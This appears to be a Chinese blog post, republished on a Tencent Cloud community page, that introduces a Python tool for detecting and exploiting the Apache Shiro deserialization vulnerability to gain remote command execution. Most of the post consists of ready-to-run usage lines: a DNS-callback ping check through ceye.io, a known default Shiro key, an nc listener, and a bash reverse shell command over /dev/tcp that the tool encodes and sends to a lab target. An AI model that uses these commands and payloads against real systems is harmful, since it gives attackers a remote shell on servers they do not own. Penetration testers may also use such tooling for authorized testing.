前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >工具分享 | shiro漏洞检测RCE工具

工具分享 | shiro漏洞检测RCE工具

作者头像
TeamsSix
发布2020-06-23 11:35:48
3.8K0
发布2020-06-23 11:35:48
举报

0x00 前言

最近在做shiro反序列化漏洞复现,从网上也找了一堆复现文章和工具,但是这些工具用着都不太舒服,于是参考网上大佬们的工具,自己进行了一些简单的改良。

0x01 工具安装

本工具需要 Python3 和 Java 环境,下载本工具后,将文件解压,在本项目目录下运行下面的命令,安装Python第三方库即可。

代码语言:javascript
复制
pip3 install -r requirements.txt

国外下载地址:https://github.com/teamssix/shiro-check-rce/releases/

国内下载地址:https://gitee.com/teamssix/shiro-check-rce/releases

0x02 工具介绍

代码语言:javascript
复制
   _____ __    _               ________              __      ____  ____________
  / ___// /_  (_)________     / ____/ /_  ___  _____/ /__   / __ \/ ____/ ____/
  \__ \/ __ \/ / ___/ __ \   / /   / __ \/ _ \/ ___/ //_/  / /_/ / /   / __/   
 ___/ / / / / / /  / /_/ /  / /___/ / / /  __/ /__/ ,<    / _, _/ /___/ /___   
/____/_/ /_/_/_/   \____/   \____/_/ /_/\___/\___/_/|_|  /_/ |_|\____/_____/   By TeamsSix

我的个人博客:teamssix.com
我的个人公众号:TeamsSix

-c :输入要执行的命令
-h :查看帮助
-k : 输入自定义的key,不输入此参数时将遍历尝试默认key
-t :输入你的ceye.io的token,用于检测shiro漏洞是否存在,此选项需要配合 -c "ping your.ceye.io" 使用
-u :指定URL

python3 shiro-check-rce.py (-c) <command> [-h] [-k] <key> [-t] <token> (-u) <url>

1、漏洞检测

该功能需要你有一个http://ceye.io/的账号,在http://ceye.io/profile页面,找到自己的Identifier值和API Token值。

使用 -t 和 -c 参数配合使用,即可调用默认key字典进行检测。

文中的 http://192.168.175.146:8080/ 为本地靶机,192.168.175.152:9527 为 nc 监听地址。

代码语言:javascript
复制
python3 shiro-check-rce.py -u {target_URL} -c "ping {your.ceye.io}" -t {your_token}

示例:python3 shiro-check-rce.py -u http://192.168.175.146:8080/ -c "ping txxxxd.ceye.io" -t 1xxxxxxxxxxxxx6

如果你有自己的key,也可以使用 -k 参数进行指定。

代码语言:javascript
复制
python3 shiro-check-rce.py -u {target_URL} -c "ping {your.ceye.io}" -t {your_token} -k {key}

示例:python3 shiro-check-rce.py -u http://192.168.175.146:8080/ -c "ping txxxxd.ceye.io" -t 1xxxxxxxxxxxxx6 -k kPH+bIxk5D2deZiIxcaaaA==

2、反弹shell

这里我采用bash命令反弹到本地nc监听端口的方式,因此我这里需要先在本地建立一个 nc 监听端口。

代码语言:javascript
复制
nc -lvvp 9527

之后,执行反弹shell命令

代码语言:javascript
复制
bash -i >& /dev/tcp/{your_nc_ip}/{your_nc_port} 0>&1

示例:bash -i >& /dev/tcp/192.168.175.152/9527 0>&1

本工具会对输入命令进行识别,如果检测到用户输入了bash反弹shell命令,将会自动对命令进行编码,无需自己编码,避免了明明存在漏洞却因为编码问题而反弹不了shell的尴尬。

代码语言:javascript
复制
python3 shiro-check-rce.py -u {target_URL} -c "bash -i >& /dev/tcp/{your_nc_ip}/{your_nc_port} 0>&1"

示例:python3 shiro-check-rce.py -u http://192.168.175.146:8080/ -c "bash -i >& /dev/tcp/192.168.175.152/9527 0>&1"

如果知道key的话,就直接 -k 指定 key 即可

代码语言:javascript
复制
python3 shiro-check-rce.py -u {target_URL} -c "bash -i >& /dev/tcp/{your_nc_ip}/{your_nc_port} 0>&1" -k {key}

示例:python3 shiro-check-rce.py -u http://192.168.175.146:8080/ -c "bash -i >& /dev/tcp/192.168.175.152/9527 0>&1" -k kPH+bIxk5D2deZiIxcaaaA==

0x03 注意事项

  • 本程序需要 python3 环境以及 java环境
  • 在进行漏洞检测时,-c 指定 ping 的 URL 和 -t 指定的 token 需要是同一 ceye 账户的。
  • 在安装pycryptodome库时,可能会碰到一些问题,可以根据报错信息进行排查,或者到网上找寻相关资料
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 工具安装
  • 0x02 工具介绍
    • 1、漏洞检测
      • 2、反弹shell
      • 0x03 注意事项
      相关产品与服务
      脆弱性检测服务
      脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档